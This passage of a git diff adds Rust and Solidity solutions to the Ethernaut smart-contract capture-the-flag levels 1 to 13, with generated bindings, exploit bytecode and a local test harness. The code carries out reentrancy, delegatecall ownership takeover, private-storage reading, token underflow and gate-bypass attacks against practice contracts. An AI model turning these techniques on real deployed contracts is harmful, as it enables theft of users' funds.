::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("owner"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("owner"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static TELEPHONE_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + pub struct Telephone(::ethers::contract::Contract); + impl ::core::clone::Clone for Telephone { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for Telephone { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for Telephone { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for Telephone { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Telephone)).field(&self.address()).finish() + } + } + impl Telephone { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + TELEPHONE_ABI.clone(), + client, + ), + ) + } + ///Calls the contract's `changeOwner` (0xa6f9dae1) function + pub fn change_owner( + &self, + owner: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([166, 249, 218, 225], owner) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `owner` (0x8da5cb5b) function + pub fn owner( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([141, 165, 203, 91], ()) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for Telephone { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `changeOwner` function with signature `changeOwner(address)` and selector `0xa6f9dae1` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "changeOwner", abi = "changeOwner(address)")] + pub struct ChangeOwnerCall { + pub owner: ::ethers::core::types::Address, + } + ///Container type for all input parameters for the `owner` function with signature `owner()` and selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "owner", abi = "owner()")] + pub struct OwnerCall; + ///Container type for all of the contract's call + #[derive(Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash)] + pub enum TelephoneCalls { + ChangeOwner(ChangeOwnerCall), + Owner(OwnerCall), + } + impl ::ethers::core::abi::AbiDecode for TelephoneCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result { + let data = data.as_ref(); + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::ChangeOwner(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Owner(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for TelephoneCalls { + fn encode(self) -> Vec { + match self { + Self::ChangeOwner(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Owner(element) => ::ethers::core::abi::AbiEncode::encode(element), + } + } + } + impl ::core::fmt::Display for TelephoneCalls { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + match self { + Self::ChangeOwner(element) => ::core::fmt::Display::fmt(element, f), + Self::Owner(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for TelephoneCalls { + fn from(value: ChangeOwnerCall) -> Self { + Self::ChangeOwner(value) + } + } + impl ::core::convert::From for TelephoneCalls { + fn from(value: OwnerCall) -> Self { + Self::Owner(value) + } + } + ///Container type for all return fields from the `owner` function with signature `owner()` and selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct OwnerReturn(pub ::ethers::core::types::Address); +} diff --git a/attack/src/abi/telephone_exploit.rs b/attack/src/abi/telephone_exploit.rs new file mode 100644 index 0000000..481ea1f --- /dev/null +++ b/attack/src/abi/telephone_exploit.rs @@ -0,0 +1,135 @@ +pub use telephone_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod telephone_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_telephone"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + }), + functions: ::std::collections::BTreeMap::new(), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static TELEPHONEEXPLOIT_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x01\xA48\x03\x80a\x01\xA4\x839\x81\x01`@\x81\x90Ra\0/\x91a\x01'V[`@Qc\xA6\xF9\xDA\xE1`\xE0\x1B\x81Rs\xA0\xEEz\x14-&|\x1F6qNJ\x8Fua/ \xA7\x97 `\x04\x82\x01\x81\x90R\x82\x91`\x01`\x01`\xA0\x1B\x03\x83\x16\x90c\xA6\xF9\xDA\xE1\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\0\x88W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\0\x9CW=`\0\x80>=`\0\xFD[PPPP\x80`\x01`\x01`\xA0\x1B\x03\x16\x82`\x01`\x01`\xA0\x1B\x03\x16c\x8D\xA5\xCB[`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\0\xE8W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x0C\x91\x90a\x01'V[`\x01`\x01`\xA0\x1B\x03\x16\x14a\x01\x1FW`\0\x80\xFD[PPPa\x01WV[`\0` \x82\x84\x03\x12\x15a\x019W`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01PW`\0\x80\xFD[\x93\x92PPPV[`?\x80a\x01e`\09`\0\xF3\xFE`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 q\xC5\x04\xB5\xDDj\x8E,\x02\xAC7\xB6\x85\xAD\xF2\xFA\x91\xE1\xF2\xF5,D\xBD\x19\x9E\x16\x9A\x90\xF1\x7F\xE8\xFBdsolcC\0\x08\x14\x003"; + /// The bytecode of the contract. + pub static TELEPHONEEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __BYTECODE, + ); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 q\xC5\x04\xB5\xDDj\x8E,\x02\xAC7\xB6\x85\xAD\xF2\xFA\x91\xE1\xF2\xF5,D\xBD\x19\x9E\x16\x9A\x90\xF1\x7F\xE8\xFBdsolcC\0\x08\x14\x003"; + /// The deployed bytecode of the contract. + pub static TELEPHONEEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __DEPLOYED_BYTECODE, + ); + pub struct TelephoneExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for TelephoneExploit { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for TelephoneExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for TelephoneExploit { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for TelephoneExploit { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(TelephoneExploit)) + .field(&self.address()) + .finish() + } + } + impl TelephoneExploit { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + TELEPHONEEXPLOIT_ABI.clone(), + client, + ), + ) + } + /// Constructs the general purpose `Deployer` instance based on the provided constructor arguments and sends it. + /// Returns a new instance of a deployer that returns an instance of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + TELEPHONEEXPLOIT_ABI.clone(), + TELEPHONEEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + } + impl From<::ethers::contract::Contract> + for TelephoneExploit { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } +} diff --git a/attack/src/ethernaut/hack01_fallback.rs b/attack/src/ethernaut/hack01_fallback.rs index 75cd140..3056005 100644 --- a/attack/src/ethernaut/hack01_fallback.rs +++ b/attack/src/ethernaut/hack01_fallback.rs @@ -8,6 +8,20 @@ pub(crate) struct Exploit; impl ctf::Exploit for Exploit { type Target = Target; + /** + * @title Ethernaut Level 1: Fallback + * + * Look carefully at the contract's code below. + * + * You will beat this target if + * 1. you claim ownership of the contract + * 2. you reduce its balance to 0 + * + * Things that might help: + * - How to send ether when interacting with an ABI + * - How to send ether outside of the ABI + * - Fallback methods + */ async fn attack( self, target: &Self::Target, diff --git a/attack/src/ethernaut/hack02_fallout.rs b/attack/src/ethernaut/hack02_fallout.rs new file mode 100644 index 0000000..55015fe --- /dev/null +++ b/attack/src/ethernaut/hack02_fallout.rs @@ -0,0 +1,27 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl02_fallout::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 2: Fallout + * + * Claim ownership of the contract below to complete + * this level. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let contract = Fallout::new(target.address, offender.clone()); + + contract.fal_1out().send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack03_coin_flip.rs b/attack/src/ethernaut/hack03_coin_flip.rs new file mode 100644 index 0000000..cfbbc77 --- /dev/null +++ b/attack/src/ethernaut/hack03_coin_flip.rs @@ -0,0 +1,40 @@ +use crate::abi::coin_flip_exploit::CoinFlipExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl03_coin_flip::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 3: CoinFlip + * + * This is a coin flipping game where you need to + * build up your winning streak by guessing the + * outcome of a coin flip. To complete this target + * you'll need to use your psychic abilities to + * guess the correct outcome 10 times in a row. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + println!("Deploying the exploit contract..."); + let exploit = + CoinFlipExploit::deploy(offender.to_owned(), target.address)? + .send() + .await?; + + let coin_flip = CoinFlip::new(target.address, offender.to_owned()); + + while coin_flip.consecutive_wins().await? < 10.into() { + println!("Flipping dat coin boiiiiiiiii"); + exploit.flip().send().await?.await?; + } + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack04_telephone.rs b/attack/src/ethernaut/hack04_telephone.rs new file mode 100644 index 0000000..175c5be --- /dev/null +++ b/attack/src/ethernaut/hack04_telephone.rs @@ -0,0 +1,37 @@ +use crate::abi::telephone_exploit::TelephoneExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl04_telephone::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 4: Telephone + * + * The goal of this level is for you to claim + * ownership of the instance you are given. + * + * Things that might help + * - Look into Solidity's documentation on the + * delegatecall low level function, how it works, + * how it can be used to delegate operations to + * on-chain libraries, and what implications it + * has on execution scope. + * - Fallback methods + * - Method ids + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + TelephoneExploit::deploy(offender.to_owned(), target.address)? + .send() + .await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack05_token.rs b/attack/src/ethernaut/hack05_token.rs new file mode 100644 index 0000000..403313c --- /dev/null +++ b/attack/src/ethernaut/hack05_token.rs @@ -0,0 +1,44 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl05_token::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 5: Token + * + * The goal of this level is for you to hack the + * basic token contract below. + * + * You are given 20 tokens to start with and you + * will beat the level if you somehow manage to + * get your hands on any additional tokens. + * Preferably a very large amount of tokens. + * + * Things that might help: + * - What is an odometer? + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let contract = Token::new(target.address, offender.clone()); + + contract + .transfer( + "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266" + .parse::
()?, + 21.into(), + ) + .send() + .await? + .await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack06_delegate.rs b/attack/src/ethernaut/hack06_delegate.rs new file mode 100644 index 0000000..5c521cb --- /dev/null +++ b/attack/src/ethernaut/hack06_delegate.rs @@ -0,0 +1,40 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl06_delegate::*; +use ethers::{prelude::*, providers::Middleware, utils::keccak256}; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 6: Delegation + * + * The goal of this level is for you to claim + * ownership of the instance you are given. + * + * Things that might help + * - Look into Solidity's documentation on the + * delegatecall low level function, how it works, + * how it can be used to delegate operations to + * on-chain libraries, and what implications it + * has on execution scope. + * - Fallback methods + * - Method ids + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let tx = TransactionRequest::new() + .to(target.delegation_address) + .gas(U256::from(10_000_000)) + .data(keccak256("pwn()").into_iter().take(4).collect::>()); + + offender.send_transaction(tx, None).await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack07_force.rs b/attack/src/ethernaut/hack07_force.rs new file mode 100644 index 0000000..9baaa93 --- /dev/null +++ b/attack/src/ethernaut/hack07_force.rs @@ -0,0 +1,39 @@ +use crate::abi::force_exploit::ForceExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl07_force::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 7: Force + * + * Some contracts will simply not take your money + * ¯\_(ツ)_/¯ + * + * The goal of this level is to make the balance of + * the contract greater than zero. + * + * Things that might help: + * - Fallback methods + * - Sometimes the best way to attack a contract is + * with another contract. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let exploit = ForceExploit::deploy(offender.clone(), ())? + .value(U256::from(1)) + .send() + .await?; + exploit.hack(target.address).send().await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack08_vault.rs b/attack/src/ethernaut/hack08_vault.rs new file mode 100644 index 0000000..d50dd11 --- /dev/null +++ b/attack/src/ethernaut/hack08_vault.rs @@ -0,0 +1,28 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl08_vault::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 8: Vault + * + * Unlock the vault to pass the level! + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let contract = Vault::new(target.address, offender.to_owned()); + let slot = offender + .get_storage_at(contract.address(), H256::from_low_u64_be(1), None) + .await?; + contract.unlock(slot.0).send().await?.await?; + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack09_king.rs b/attack/src/ethernaut/hack09_king.rs new file mode 100644 index 0000000..9a5121f --- /dev/null +++ b/attack/src/ethernaut/hack09_king.rs @@ -0,0 +1,44 @@ +use crate::abi::king_exploit::KingExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl09_king::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 9: King + * + * The contract below represents a very simple game: + * whoever sends it an amount of ether that is + * larger than the current prize becomes the new + * king. On such an event, the overthrown king + * gets paid the new prize, making a bit of ether + * in the process! As ponzi as it gets xD + * + * Such a fun game. Your goal is to break it. + * + * When you submit the instance back to the level, + * the level is going to reclaim kingship. You + * will beat the level if you can avoid such a self + * proclamation. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let king = King::new(target.address, offender.to_owned()); + let exploit = KingExploit::deploy(offender.to_owned(), king.address())? + .value(U256::from(1)) + .send() + .await?; + + exploit.become_king().send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack10_reentrancy.rs b/attack/src/ethernaut/hack10_reentrancy.rs new file mode 100644 index 0000000..a7ae62f --- /dev/null +++ b/attack/src/ethernaut/hack10_reentrancy.rs @@ -0,0 +1,43 @@ +use crate::abi::donatexploit::Donatexploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl10_reentrancy::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 10: Re-entrancy + * + * The goal of this level is for you to steal all + * the funds from the contract. + * + * Things that might help: + * - Untrusted contracts can execute code where you + * least expect it. + * - Fallback methods + * - Throw/revert bubbling + * - Sometimes the best way to attack a contract is + * with another contract. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let target = Reentrance::new(target.address, offender.to_owned()); + + let value = offender.get_balance(target.address(), None).await? / 2; + + let exploit = + Donatexploit::deploy(offender.to_owned(), target.address())? + .send() + .await?; + exploit.attack().value(value).send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack11_elevator.rs b/attack/src/ethernaut/hack11_elevator.rs new file mode 100644 index 0000000..ad364e0 --- /dev/null +++ b/attack/src/ethernaut/hack11_elevator.rs @@ -0,0 +1,34 @@ +use crate::abi::elevator_exploit::ElevatorExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl11_elevator::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 11: Elevator + * + * This elevator won't let you reach the top of your + * building. Right? + * + * Things that might help: + * Sometimes solidity is not good at keeping + * promises. This Elevator expects to be used + * from a Building. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let exploit = + ElevatorExploit::deploy(offender.to_owned(), ())?.send().await?; + + exploit.attack(target.address).send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack12_privacy.rs b/attack/src/ethernaut/hack12_privacy.rs new file mode 100644 index 0000000..2c0c96b --- /dev/null +++ b/attack/src/ethernaut/hack12_privacy.rs @@ -0,0 +1,51 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl12_privacy::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 12: Privacy + * + * The creator of this contract was careful enough + * to protect the sensitive areas of its storage. + * + * Unlock this contract to beat the level. + * + * Things that might help: + * Understanding how storage works + * Understanding how parameter parsing works + * Understanding how casting works + * + * Tips: + * Remember that metamask is just a commodity. Use + * another tool if it is presenting problems. + * Advanced gameplay could involve using remix, or + * your own web3 provider. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let five = H256::from_low_u64_be(5); + println!("{five:?}"); + let slot = offender + .get_storage_at(target.address, five, None) + .await?; + let mut key = [0; 16]; + key.copy_from_slice(&slot.0[0..16]); + + Privacy::new(target.address, offender.to_owned()) + .unlock(key) + .send() + .await? + .await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack13_gatekeeper_one.rs b/attack/src/ethernaut/hack13_gatekeeper_one.rs new file mode 100644 index 0000000..950b7fe --- /dev/null +++ b/attack/src/ethernaut/hack13_gatekeeper_one.rs @@ -0,0 +1,24 @@ +use crate::abi::gatexploit::Gatexploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl13_gatekeeper_one::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let gatexploit = + Gatexploit::deploy(offender.to_owned(), ())?.send().await?; + + gatexploit.attack(target.address).gas(1_000_000).send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/mod.rs b/attack/src/ethernaut/mod.rs index b0f681f..4234d72 100644 --- a/attack/src/ethernaut/mod.rs +++ b/attack/src/ethernaut/mod.rs @@ -1,4 +1,16 @@ pub mod hack01_fallback; +pub mod hack02_fallout; +pub mod hack03_coin_flip; +pub mod hack04_telephone; +pub mod hack05_token; +pub mod hack06_delegate; +pub mod hack07_force; +pub mod hack08_vault; +pub mod hack09_king; +pub mod hack10_reentrancy; +pub mod hack11_elevator; +pub mod hack12_privacy; +pub mod hack13_gatekeeper_one; #[cfg(test)] mod tests { @@ -6,6 +18,18 @@ mod tests { use ethers::prelude::*; use hack01_fallback as hack01; + use hack02_fallout as hack02; + use hack03_coin_flip as hack03; + use hack04_telephone as hack04; + use hack05_token as hack05; + use hack06_delegate as hack06; + use hack07_force as hack07; + use hack08_vault as hack08; + use hack09_king as hack09; + use hack10_reentrancy as hack10; + use hack11_elevator as hack11; + use hack12_privacy as hack12; + use hack13_gatekeeper_one as hack13; #[tokio::test] async fn test() -> eyre::Result<()> { @@ -15,6 +39,18 @@ mod tests { let roles = ctf::Roles::new(provider)?; ctf::check_exploit(&roles, hack01::Exploit).await?; + ctf::check_exploit(&roles, hack02::Exploit).await?; + ctf::check_exploit(&roles, hack03::Exploit).await?; + ctf::check_exploit(&roles, hack04::Exploit).await?; + ctf::check_exploit(&roles, hack05::Exploit).await?; + ctf::check_exploit(&roles, hack06::Exploit).await?; + ctf::check_exploit(&roles, hack07::Exploit).await?; + ctf::check_exploit(&roles, hack08::Exploit).await?; + ctf::check_exploit(&roles, hack09::Exploit).await?; + ctf::check_exploit(&roles, hack10::Exploit).await?; + ctf::check_exploit(&roles, hack11::Exploit).await?; + ctf::check_exploit(&roles, hack12::Exploit).await?; + ctf::check_exploit(&roles, hack13::Exploit).await?; Ok(()) } diff --git a/attack/test/Gatexploit.t.sol b/attack/test/Gatexploit.t.sol new file mode 100644 index 0000000..57d7f60 --- /dev/null +++ b/attack/test/Gatexploit.t.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import "forge-std/Test.sol"; +import "forge-std/console2.sol"; +import "forge-std/Vm.sol"; +import "../contracts/ethernaut/Gatexploit.sol"; + +contract GatekeeperOneClone { + address public entrant; + + modifier gateOne() { + require(msg.sender != tx.origin); + _; + } + + modifier gateTwo() { + require(gasleft() % 8191 == 0); + _; + } + + modifier gateThree(bytes8 _gateKey) { + require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); + require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); + require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); + _; + } + + function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { + entrant = tx.origin; + return true; + } +} + +contract GatexploitTest is Test { + address private _offender = 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720; + // bytes8 private _gateKey = 0x0000972000009720; + bytes8 private _gateKey; + GatekeeperOneClone private _target; + Gatexploit public exploit; + + function setUp() public { + _gateKey = bytes8(0x0101010100000000 + uint16(uint160(_offender))); + // _target = new GatekeeperOneClone(); + // exploit = new Gatexploit(); + } + + // function testAttack() public { + // exploit.attack(address(_target)); + // } + + function testPartOne() public { + uint32 lhs = uint32(uint64(_gateKey)); + uint16 rhs = uint16(uint64(_gateKey)); + assertEq(lhs, rhs); + } + + function testPartTwo() public { + uint32 lhs = uint32(uint64(_gateKey)); + uint64 rhs = uint64(_gateKey); + assertTrue(lhs != rhs); + } + + function testPartThree() public { + assertEq(uint32(uint64(_gateKey)), uint16(uint160(_offender))); + } +} diff --git a/lib/openzeppelin-contracts-06/lib/forge-std/lib/ds-test/default.nix b/lib/openzeppelin-contracts-06/lib/forge-std/lib/ds-test/default.nix index 11126d4..2bd244c 100644 --- a/lib/openzeppelin-contracts-06/lib/forge-std/lib/ds-test/default.nix +++ b/lib/openzeppelin-contracts-06/lib/forge-std/lib/ds-test/default.nix @@ -1,5 +1,9 @@ +<<<<<<< HEAD { solidityPackage, dappsys }: solidityPackage { +======= +{ solidityPackage, dappsys }: solidityPackage { +>>>>>>> 9b9ad6c (solve shit) name = "ds-test"; src = ./src; }